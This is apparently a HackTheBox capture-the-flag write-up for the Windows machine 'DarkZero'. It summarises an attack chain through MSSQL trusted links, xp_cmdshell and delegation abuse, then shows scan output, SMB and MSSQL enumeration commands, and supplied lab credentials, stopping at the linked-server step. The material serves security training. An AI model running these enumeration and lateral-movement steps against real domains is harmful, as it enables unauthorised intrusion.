HackTheBox: DarkZero

OS: Windows
Difficulty: Hard
Review: 4.9/5

Description:

DarkZero is a hard-difficulty Windows machine designed around an assumed breach scenario in which the attacker is provided with low-privileged user credentials. The machine features an Active Directory environment with Bidirectional trust, Cross-domain MSSQL Trusted Link, and TGT Delegation. The attacker discovers a misconfigured MSSQL trusted link that points to a different domain (darkzero.htb -> darkzero.ext), and the remote login has sysadmin privileges. The attacker enables the xp_cmdshell procedure as a sysadmin and executes commands. The spawned session under MSSQLSERVICE doesn't have the SeImpersonatePrivilege; however, the user account running the service has the SeServiceLogonRight. The attacker is forced to change the password and get a new session with Logon Type 5 (Service Logon) to regain those privileges and gain system privileges on the DC02 (darkzero.ext). To compromise the darkzero.htb domain: the attacker abuses TGT delegation by forcing DC01 to authenticate to DC02, with Unconstrained Delegation enabled.

Recon:

Prior to recon, we were given a set of credentials for this box to simulate a real PT: john.w : RFulUtONCOL!

Like most other boxes, we started out with a rustscan.

rustscan -a $IP -n --ulimit 70000 -t 5000 -- -A -Pn

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2026-09-01 01:58:16Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.darkzero.htb
| Issuer: commonName=darkzero-DC01-CA/domainComponent=darkzero
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-09-01T01:42:20
| Not valid after:  2027-09-01T01:42:20
| MD5:   c57ef9e1adb601002008c40f1cfec82a
| SHA-1: 2ed23e182f4f9b3f4ea9619cb7b2b7bbf7da3214
| -----BEGIN CERTIFICATE-----
| MIIHOjCCBSKgAwIBAgITUgAAAAtA0/Z+Me/HEQABAAAACzANBgkqhkiG9w0BAQsF
| ADBKMRMwEQYKCZImiZPyLGQBGRYDaHRiMRgwFgYKCZImiZPyLGQBGRYIZGFya3pl
| cm8xGTAXBgNVBAMTEGRhcmt6ZXJvLURDMDEtQ0EwHhcNMjYwOTAxMDE0MjIwWhcN
| MjcwOTAxMDE0MjIwWjAcMRowGAYDVQQDExFEQzAxLmRhcmt6ZXJvLmh0YjCCASIw
| DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMo3hsPZnSFib3tEJ+zBa8OxYyPj
| iWpFV/vIh1LnYZkB9CvituLUDZyk2gEPRSmTMoUnkl7KEGOFMDGLs2CoGeZkuL7B
| huJSz4mBjoOrfDAO2D3v4tu8LJpzgSXINUFgbknB578JFcFGaaT1ANyuK80nwETU
| Kg1J/3im+4W6iAaa0mmgGgSzhDm875LSK6Fn8f/86xYJjccJ2kGgqhbafsa0g2FK
| 6wR/nmv7bSmsOgBze9dD9Oc5GG9iUv+7KLNL0BkGY0hPt0M0iw0SBV0eM+8FT5mo
| 8aHfMGgIMZQwfka47yzF3JctGy0j3jYpMMtv0tAeNbPvpGP/dBWgOC8FnvUCAwEA
| AaOCA0UwggNBMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdABy
| AG8AbABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0P
| AQH/BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqG
| SIb3DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQB
| AjALBglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFECB
| mFiRqp8J1Sh3MYJDk2MqHaGNMB8GA1UdIwQYMBaAFN4cOQ6+di/Vf1JIXScbM9yD
| xyrbMIHPBgNVHR8EgccwgcQwgcGggb6ggbuGgbhsZGFwOi8vL0NOPWRhcmt6ZXJv
| LURDMDEtQ0EoMSksQ049REMwMSxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2Vy
| dmljZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1kYXJremVybyxE
| Qz1odGI/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdD9iYXNlP29iamVjdENsYXNz
| PWNSTERpc3RyaWJ1dGlvblBvaW50MIHDBggrBgEFBQcBAQSBtjCBszCBsAYIKwYB
| BQUHMAKGgaNsZGFwOi8vL0NOPWRhcmt6ZXJvLURDMDEtQ0EsQ049QUlBLENOPVB1
| YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRp
| b24sREM9ZGFya3plcm8sREM9aHRiP2NBQ2VydGlmaWNhdGU/YmFzZT9vYmplY3RD
| bGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MD0GA1UdEQQ2MDSgHwYJKwYBBAGC
| NxkBoBIEEOfsqvw66j9ItSxN2uPjJRqCEURDMDEuZGFya3plcm8uaHRiME4GCSsG
| AQQBgjcZAgRBMD+gPQYKKwYBBAGCNxkCAaAvBC1TLTEtNS0yMS0xMTUyMTc5OTM1
| LTU4OTEwODE4MC0xOTg5ODkyNDYzLTEwMDAwDQYJKoZIhvcNAQELBQADggIBAM53
| 5rBQsuwDIR81a+ZpFEcVgCZzQkmrD7hlYHWKRHxz1ueNfOiWUfWOxi2FwPUK/40H
| 1td2/5g8fjtRdSFJ47wsUWtCXJf92a9VfO41w/Kd3YCsv1CAsnK6IFQVbmo5ORix
| wRiDD7NlJZHn51qfQra0zaQWwEBTuA3R3VFpTn0jzBtGFzsUB/WsTVemkXbtgW2O
| 8H1Bm1dUfT9SZh26vQqXW78CXg7v31/wYlZKsvxMuIp5SbzqiJoaHNna8+1mp00o
| e1dF04NbUPjhlWR3fmPNQRxiG0lyIP7283ggLKH57XMb70PhF3Ji8yJ8HkCIhGvM
| yUT4unVxDPTXtSOljTgfAOyPxOqrpdnn8u9cLUR7mPDtoIaBjLsi1EKQ/JP9k9qo
| Yujutwo3mlVBkHiU1eYVDvCy+YgGbrOkmsA7oBzo6M/ZSm8ahrRa2W4Xyqxo2f9b
| +UvUg96AVSkgwgem3f8ch3KJkdryVYQ/tRu0IVbZu2j4/STBZ1Aaib4ARIHXFvDg
| mqQh2KhminrMddBYrVaEasJ3r+MKot5f9bzPNcwseu+pAFz+S0AQvbwE1XdNGGJU
| JzXom3kMXnWYKq3M+mHC/PcXuaHjsxvVB0UbhMSBCCtZ/OhwTJdVx6LugutvaHN4
| BpcKs0Ci/SZLCbjr1KGbAIXYVHmEUbxuqsBBSDaV
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.darkzero.htb
| Issuer: commonName=darkzero-DC01-CA/domainComponent=darkzero
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-09-01T01:42:20
| Not valid after:  2027-09-01T01:42:20
| MD5:   c57ef9e1adb601002008c40f1cfec82a
| SHA-1: 2ed23e182f4f9b3f4ea9619cb7b2b7bbf7da3214
| -----BEGIN CERTIFICATE-----
| MIIHOjCCBSKgAwIBAgITUgAAAAtA0/Z+Me/HEQABAAAACzANBgkqhkiG9w0BAQsF
| ADBKMRMwEQYKCZImiZPyLGQBGRYDaHRiMRgwFgYKCZImiZPyLGQBGRYIZGFya3pl
| cm8xGTAXBgNVBAMTEGRhcmt6ZXJvLURDMDEtQ0EwHhcNMjYwOTAxMDE0MjIwWhcN
| MjcwOTAxMDE0MjIwWjAcMRowGAYDVQQDExFEQzAxLmRhcmt6ZXJvLmh0YjCCASIw
| DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMo3hsPZnSFib3tEJ+zBa8OxYyPj
| iWpFV/vIh1LnYZkB9CvituLUDZyk2gEPRSmTMoUnkl7KEGOFMDGLs2CoGeZkuL7B
| huJSz4mBjoOrfDAO2D3v4tu8LJpzgSXINUFgbknB578JFcFGaaT1ANyuK80nwETU
| Kg1J/3im+4W6iAaa0mmgGgSzhDm875LSK6Fn8f/86xYJjccJ2kGgqhbafsa0g2FK
| 6wR/nmv7bSmsOgBze9dD9Oc5GG9iUv+7KLNL0BkGY0hPt0M0iw0SBV0eM+8FT5mo
| 8aHfMGgIMZQwfka47yzF3JctGy0j3jYpMMtv0tAeNbPvpGP/dBWgOC8FnvUCAwEA
| AaOCA0UwggNBMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdABy
| AG8AbABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0P
| AQH/BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqG
| SIb3DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQB
| AjALBglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFECB
| mFiRqp8J1Sh3MYJDk2MqHaGNMB8GA1UdIwQYMBaAFN4cOQ6+di/Vf1JIXScbM9yD
| xyrbMIHPBgNVHR8EgccwgcQwgcGggb6ggbuGgbhsZGFwOi8vL0NOPWRhcmt6ZXJv
| LURDMDEtQ0EoMSksQ049REMwMSxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2Vy
| dmljZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1kYXJremVybyxE
| Qz1odGI/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdD9iYXNlP29iamVjdENsYXNz
| PWNSTERpc3RyaWJ1dGlvblBvaW50MIHDBggrBgEFBQcBAQSBtjCBszCBsAYIKwYB
| BQUHMAKGgaNsZGFwOi8vL0NOPWRhcmt6ZXJvLURDMDEtQ0EsQ049QUlBLENOPVB1
| YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRp
| b24sREM9ZGFya3plcm8sREM9aHRiP2NBQ2VydGlmaWNhdGU/YmFzZT9vYmplY3RD
| bGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MD0GA1UdEQQ2MDSgHwYJKwYBBAGC
| NxkBoBIEEOfsqvw66j9ItSxN2uPjJRqCEURDMDEuZGFya3plcm8uaHRiME4GCSsG
| AQQBgjcZAgRBMD+gPQYKKwYBBAGCNxkCAaAvBC1TLTEtNS0yMS0xMTUyMTc5OTM1
| LTU4OTEwODE4MC0xOTg5ODkyNDYzLTEwMDAwDQYJKoZIhvcNAQELBQADggIBAM53
| 5rBQsuwDIR81a+ZpFEcVgCZzQkmrD7hlYHWKRHxz1ueNfOiWUfWOxi2FwPUK/40H
| 1td2/5g8fjtRdSFJ47wsUWtCXJf92a9VfO41w/Kd3YCsv1CAsnK6IFQVbmo5ORix
| wRiDD7NlJZHn51qfQra0zaQWwEBTuA3R3VFpTn0jzBtGFzsUB/WsTVemkXbtgW2O
| 8H1Bm1dUfT9SZh26vQqXW78CXg7v31/wYlZKsvxMuIp5SbzqiJoaHNna8+1mp00o
| e1dF04NbUPjhlWR3fmPNQRxiG0lyIP7283ggLKH57XMb70PhF3Ji8yJ8HkCIhGvM
| yUT4unVxDPTXtSOljTgfAOyPxOqrpdnn8u9cLUR7mPDtoIaBjLsi1EKQ/JP9k9qo
| Yujutwo3mlVBkHiU1eYVDvCy+YgGbrOkmsA7oBzo6M/ZSm8ahrRa2W4Xyqxo2f9b
| +UvUg96AVSkgwgem3f8ch3KJkdryVYQ/tRu0IVbZu2j4/STBZ1Aaib4ARIHXFvDg
| mqQh2KhminrMddBYrVaEasJ3r+MKot5f9bzPNcwseu+pAFz+S0AQvbwE1XdNGGJU
| JzXom3kMXnWYKq3M+mHC/PcXuaHjsxvVB0UbhMSBCCtZ/OhwTJdVx6LugutvaHN4
| BpcKs0Ci/SZLCbjr1KGbAIXYVHmEUbxuqsBBSDaV
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
1433/tcp  open  ms-sql-s      syn-ack Microsoft SQL Server 2022 16.00.1000.00; RC0+
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 3072
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-09-01T01:53:39
| Not valid after:  2056-09-01T01:53:39
| MD5:   6e68cb5dc81bb6d03bed506265226220
| SHA-1: 40946f9124f5821e124ab6211f9f1b49771f4a46
| -----BEGIN CERTIFICATE-----
| MIIEADCCAmigAwIBAgIQMX9sXv0FTq5B0+Bg5QqpcjANBgkqhkiG9w0BAQsFADA7
| MTkwNwYDVQQDHjAAUwBTAEwAXwBTAGUAbABmAF8AUwBpAGcAbgBlAGQAXwBGAGEA
| bABsAGIAYQBjAGswIBcNMjYwOTAxMDE1MzM5WhgPMjA1NjA5MDEwMTUzMzlaMDsx
| OTA3BgNVBAMeMABTAFMATABfAFMAZQBsAGYAXwBTAGkAZwBuAGUAZABfAEYAYQBs
| AGwAYgBhAGMAazCCAaIwDQYJKoZIhvcNAQEBBQADggGPADCCAYoCggGBALFHkijp
| LxP1PIWC2zWIlOF6lkMms+MIdWHhIx7Kg+cwbM0cQmcIa/4hZ8ZeKiSGDzh3KOB8
| xP+JAOV5k4oLkyBJDkmYc0A2PBVYMMTIcN5m2imS71BlcqV4AoTXFN5PA23hLGUZ
| 7Pdw7mpYmrLkqYXaHU+bGyKn/LIfm3gTdo5Dqq9hjc+XScPRQcbJImBZVebLHbFw
| /5tKLtdevWzbRmRe9yfpMyc7gnGrcxTUqQJJ4vxPZBlAIBgR6Fw4+jKPMji0Ho3c
| 9//MfMWnTu4exXHQgW08wX5BZmTcmCxZK2jwdE2Hy5S5brIj0K1OND4vFVj1o0sc
| 07qErZJFs28a0PfBKIeGA2JtJPQXonSLwQaPV7/9uOHkNAEgFSs3STsRflhLABP0
| v4bO+tndCOe+5GcpZRpLHIx6yRMfudO50e83qxIdWRtAzOFgeTPg9GbWbVyFBdk0
| GnpzUBiHrrnotyWOpKEdPzl5CrUbKhCPnXSGDFi2ZJ10Vyxx41nHquJQeQIDAQAB
| MA0GCSqGSIb3DQEBCwUAA4IBgQAEF+xN2zzGvdYWe5Kv9BbMlSCoNW6F7YuvemDk
| NxscBqgjqMR0S1fKqSk4iyVxA9BTzhwCHSYPyggNj/GMJjBfJe8S8h/UO1l9K2gd
| Dao7Xh6MSIfqvA29jyiLAcN2NAIci6w//fUDpaxlELAFcJtd1gdUq1r7IDljOA+l
| 9nlRi1F0rarNAYMjGGHUCKVjxTtdkyw7KTgxdedW8EROInce/OzELXhQdiroa+va
| 6JAp4jqy09gq/53d7p9egtk534qXV2erYmWSG0/7A1XWJVF4lKX2mKu+OuM3cw7m
| G2tQSeYuNvU+u6z/0PkJMqCPlaGY9GNhglTqnpJLTFNjKwcHJ2t0ll1gSrXkmoB4
| mfSLofDKXFwOUOLTJakIVMY/mTGekXVoFuMczCHlYXyajXQI8YtUyK75m+gK7vJt
| LKO2uOglTTYHPFXvabdLQi0Qru0CnMQBR6AVQKhLe4GWkvB+41xV7jCrH/sBfvQK
| x5Y5FMmKW74Ugje7+szyJqVv8M0=
|_-----END CERTIFICATE-----
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ssl-date: 2026-09-01T01:59:50+00:00; 0s from scanner time.
2179/tcp  open  vmrdp?        syn-ack
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.darkzero.htb
| Issuer: commonName=darkzero-DC01-CA/domainComponent=darkzero
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-09-01T01:42:20
| Not valid after:  2027-09-01T01:42:20
| MD5:   c57ef9e1adb601002008c40f1cfec82a
| SHA-1: 2ed23e182f4f9b3f4ea9619cb7b2b7bbf7da3214
| -----BEGIN CERTIFICATE-----
| MIIHOjCCBSKgAwIBAgITUgAAAAtA0/Z+Me/HEQABAAAACzANBgkqhkiG9w0BAQsF
| ADBKMRMwEQYKCZImiZPyLGQBGRYDaHRiMRgwFgYKCZImiZPyLGQBGRYIZGFya3pl
| cm8xGTAXBgNVBAMTEGRhcmt6ZXJvLURDMDEtQ0EwHhcNMjYwOTAxMDE0MjIwWhcN
| MjcwOTAxMDE0MjIwWjAcMRowGAYDVQQDExFEQzAxLmRhcmt6ZXJvLmh0YjCCASIw
| DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMo3hsPZnSFib3tEJ+zBa8OxYyPj
| iWpFV/vIh1LnYZkB9CvituLUDZyk2gEPRSmTMoUnkl7KEGOFMDGLs2CoGeZkuL7B
| huJSz4mBjoOrfDAO2D3v4tu8LJpzgSXINUFgbknB578JFcFGaaT1ANyuK80nwETU
| Kg1J/3im+4W6iAaa0mmgGgSzhDm875LSK6Fn8f/86xYJjccJ2kGgqhbafsa0g2FK
| 6wR/nmv7bSmsOgBze9dD9Oc5GG9iUv+7KLNL0BkGY0hPt0M0iw0SBV0eM+8FT5mo
| 8aHfMGgIMZQwfka47yzF3JctGy0j3jYpMMtv0tAeNbPvpGP/dBWgOC8FnvUCAwEA
| AaOCA0UwggNBMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdABy
| AG8AbABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0P
| AQH/BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqG
| SIb3DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQB
| AjALBglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFECB
| mFiRqp8J1Sh3MYJDk2MqHaGNMB8GA1UdIwQYMBaAFN4cOQ6+di/Vf1JIXScbM9yD
| xyrbMIHPBgNVHR8EgccwgcQwgcGggb6ggbuGgbhsZGFwOi8vL0NOPWRhcmt6ZXJv
| LURDMDEtQ0EoMSksQ049REMwMSxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2Vy
| dmljZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1kYXJremVybyxE
| Qz1odGI/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdD9iYXNlP29iamVjdENsYXNz
| PWNSTERpc3RyaWJ1dGlvblBvaW50MIHDBggrBgEFBQcBAQSBtjCBszCBsAYIKwYB
| BQUHMAKGgaNsZGFwOi8vL0NOPWRhcmt6ZXJvLURDMDEtQ0EsQ049QUlBLENOPVB1
| YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRp
| b24sREM9ZGFya3plcm8sREM9aHRiP2NBQ2VydGlmaWNhdGU/YmFzZT9vYmplY3RD
| bGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MD0GA1UdEQQ2MDSgHwYJKwYBBAGC
| NxkBoBIEEOfsqvw66j9ItSxN2uPjJRqCEURDMDEuZGFya3plcm8uaHRiME4GCSsG
| AQQBgjcZAgRBMD+gPQYKKwYBBAGCNxkCAaAvBC1TLTEtNS0yMS0xMTUyMTc5OTM1
| LTU4OTEwODE4MC0xOTg5ODkyNDYzLTEwMDAwDQYJKoZIhvcNAQELBQADggIBAM53
| 5rBQsuwDIR81a+ZpFEcVgCZzQkmrD7hlYHWKRHxz1ueNfOiWUfWOxi2FwPUK/40H
| 1td2/5g8fjtRdSFJ47wsUWtCXJf92a9VfO41w/Kd3YCsv1CAsnK6IFQVbmo5ORix
| wRiDD7NlJZHn51qfQra0zaQWwEBTuA3R3VFpTn0jzBtGFzsUB/WsTVemkXbtgW2O
| 8H1Bm1dUfT9SZh26vQqXW78CXg7v31/wYlZKsvxMuIp5SbzqiJoaHNna8+1mp00o
| e1dF04NbUPjhlWR3fmPNQRxiG0lyIP7283ggLKH57XMb70PhF3Ji8yJ8HkCIhGvM
| yUT4unVxDPTXtSOljTgfAOyPxOqrpdnn8u9cLUR7mPDtoIaBjLsi1EKQ/JP9k9qo
| Yujutwo3mlVBkHiU1eYVDvCy+YgGbrOkmsA7oBzo6M/ZSm8ahrRa2W4Xyqxo2f9b
| +UvUg96AVSkgwgem3f8ch3KJkdryVYQ/tRu0IVbZu2j4/STBZ1Aaib4ARIHXFvDg
| mqQh2KhminrMddBYrVaEasJ3r+MKot5f9bzPNcwseu+pAFz+S0AQvbwE1XdNGGJU
| JzXom3kMXnWYKq3M+mHC/PcXuaHjsxvVB0UbhMSBCCtZ/OhwTJdVx6LugutvaHN4
| BpcKs0Ci/SZLCbjr1KGbAIXYVHmEUbxuqsBBSDaV
|_-----END CERTIFICATE-----
3269/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.darkzero.htb
| Issuer: commonName=darkzero-DC01-CA/domainComponent=darkzero
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-09-01T01:42:20
| Not valid after:  2027-09-01T01:42:20
| MD5:   c57ef9e1adb601002008c40f1cfec82a
| SHA-1: 2ed23e182f4f9b3f4ea9619cb7b2b7bbf7da3214
| -----BEGIN CERTIFICATE-----
| MIIHOjCCBSKgAwIBAgITUgAAAAtA0/Z+Me/HEQABAAAACzANBgkqhkiG9w0BAQsF
| ADBKMRMwEQYKCZImiZPyLGQBGRYDaHRiMRgwFgYKCZImiZPyLGQBGRYIZGFya3pl
| cm8xGTAXBgNVBAMTEGRhcmt6ZXJvLURDMDEtQ0EwHhcNMjYwOTAxMDE0MjIwWhcN
| MjcwOTAxMDE0MjIwWjAcMRowGAYDVQQDExFEQzAxLmRhcmt6ZXJvLmh0YjCCASIw
| DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMo3hsPZnSFib3tEJ+zBa8OxYyPj
| iWpFV/vIh1LnYZkB9CvituLUDZyk2gEPRSmTMoUnkl7KEGOFMDGLs2CoGeZkuL7B
| huJSz4mBjoOrfDAO2D3v4tu8LJpzgSXINUFgbknB578JFcFGaaT1ANyuK80nwETU
| Kg1J/3im+4W6iAaa0mmgGgSzhDm875LSK6Fn8f/86xYJjccJ2kGgqhbafsa0g2FK
| 6wR/nmv7bSmsOgBze9dD9Oc5GG9iUv+7KLNL0BkGY0hPt0M0iw0SBV0eM+8FT5mo
| 8aHfMGgIMZQwfka47yzF3JctGy0j3jYpMMtv0tAeNbPvpGP/dBWgOC8FnvUCAwEA
| AaOCA0UwggNBMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdABy
| AG8AbABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0P
| AQH/BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqG
| SIb3DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQB
| AjALBglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFECB
| mFiRqp8J1Sh3MYJDk2MqHaGNMB8GA1UdIwQYMBaAFN4cOQ6+di/Vf1JIXScbM9yD
| xyrbMIHPBgNVHR8EgccwgcQwgcGggb6ggbuGgbhsZGFwOi8vL0NOPWRhcmt6ZXJv
| LURDMDEtQ0EoMSksQ049REMwMSxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2Vy
| dmljZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1kYXJremVybyxE
| Qz1odGI/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdD9iYXNlP29iamVjdENsYXNz
| PWNSTERpc3RyaWJ1dGlvblBvaW50MIHDBggrBgEFBQcBAQSBtjCBszCBsAYIKwYB
| BQUHMAKGgaNsZGFwOi8vL0NOPWRhcmt6ZXJvLURDMDEtQ0EsQ049QUlBLENOPVB1
| YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRp
| b24sREM9ZGFya3plcm8sREM9aHRiP2NBQ2VydGlmaWNhdGU/YmFzZT9vYmplY3RD
| bGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MD0GA1UdEQQ2MDSgHwYJKwYBBAGC
| NxkBoBIEEOfsqvw66j9ItSxN2uPjJRqCEURDMDEuZGFya3plcm8uaHRiME4GCSsG
| AQQBgjcZAgRBMD+gPQYKKwYBBAGCNxkCAaAvBC1TLTEtNS0yMS0xMTUyMTc5OTM1
| LTU4OTEwODE4MC0xOTg5ODkyNDYzLTEwMDAwDQYJKoZIhvcNAQELBQADggIBAM53
| 5rBQsuwDIR81a+ZpFEcVgCZzQkmrD7hlYHWKRHxz1ueNfOiWUfWOxi2FwPUK/40H
| 1td2/5g8fjtRdSFJ47wsUWtCXJf92a9VfO41w/Kd3YCsv1CAsnK6IFQVbmo5ORix
| wRiDD7NlJZHn51qfQra0zaQWwEBTuA3R3VFpTn0jzBtGFzsUB/WsTVemkXbtgW2O
| 8H1Bm1dUfT9SZh26vQqXW78CXg7v31/wYlZKsvxMuIp5SbzqiJoaHNna8+1mp00o
| e1dF04NbUPjhlWR3fmPNQRxiG0lyIP7283ggLKH57XMb70PhF3Ji8yJ8HkCIhGvM
| yUT4unVxDPTXtSOljTgfAOyPxOqrpdnn8u9cLUR7mPDtoIaBjLsi1EKQ/JP9k9qo
| Yujutwo3mlVBkHiU1eYVDvCy+YgGbrOkmsA7oBzo6M/ZSm8ahrRa2W4Xyqxo2f9b
| +UvUg96AVSkgwgem3f8ch3KJkdryVYQ/tRu0IVbZu2j4/STBZ1Aaib4ARIHXFvDg
| mqQh2KhminrMddBYrVaEasJ3r+MKot5f9bzPNcwseu+pAFz+S0AQvbwE1XdNGGJU
| JzXom3kMXnWYKq3M+mHC/PcXuaHjsxvVB0UbhMSBCCtZ/OhwTJdVx6LugutvaHN4
| BpcKs0Ci/SZLCbjr1KGbAIXYVHmEUbxuqsBBSDaV
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49664/tcp open  msrpc         syn-ack Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack Microsoft Windows RPC
49674/tcp open  msrpc         syn-ack Microsoft Windows RPC
49675/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49895/tcp open  msrpc         syn-ack Microsoft Windows RPC
49926/tcp open  msrpc         syn-ack Microsoft Windows RPC
55321/tcp open  msrpc         syn-ack Microsoft Windows RPC
57260/tcp open  msrpc         syn-ack Microsoft Windows RPC

The immediate output shows a domain, which we can add to our /etc/hosts file.

New /etc/hosts entry

From the output, we can see this is a Windows box that looks like a DC based on LDAP and DNS being present. We also see no HTTP/HTTPS, which indicates this will likely leverage the credentials for a Windows-based path to access. One unique port that caught my eye is MSSQL, as this gives a surplus of options depending on access.

Let's start from the top and enumerate DNS, SMB, then MSSQL.

DNS:

Started this enumeration via DNSEnum, which doesn't show any more entries; however, it does show what looks to be a second internal NIC.

dnsenum darkzero.htb --dnsserver 10.129.57.172

Before moving forward, we can leverage dig to check for DNS zone transfer capabilities.

SMB:

Leveraging Enum4Linux-ng, we can start anonymous enumeration, which doesn't give much outside of domain confirmation and host OS information, being a 2019 server.

Based on this, using the credentials we can use smbclient.py to check for shares; however, no shares of note are present.

smbclient.py 'darkzero.htb/john.w:RFulUtONCOL!@dc01.darkzero.htb'

Before moving on, we can use NetExec to get a list of users via SMB.

nxc smb dc01.darkzero.htb -u 'john.w' -p 'RFulUtONCOL!' --users

MSSQL:

Using NetExec, we can verify our credentials have MSSQL access.

Seeing how this account has access, we can use mssqlclient.py to connect to the service.

mssqlclient.py 'john.w:RFulUtONCOL!'@dc01.darkzero.htb -windows-auth

With access, we can check databases and impersonation access, though both outputs were unfruitful.

Impersonation user output

Next, we can check for linked databases, which does show a linked database on DC02.

Based on this knowledge, we can then connect to that database.

use_link "DC02.darkzero.ext"

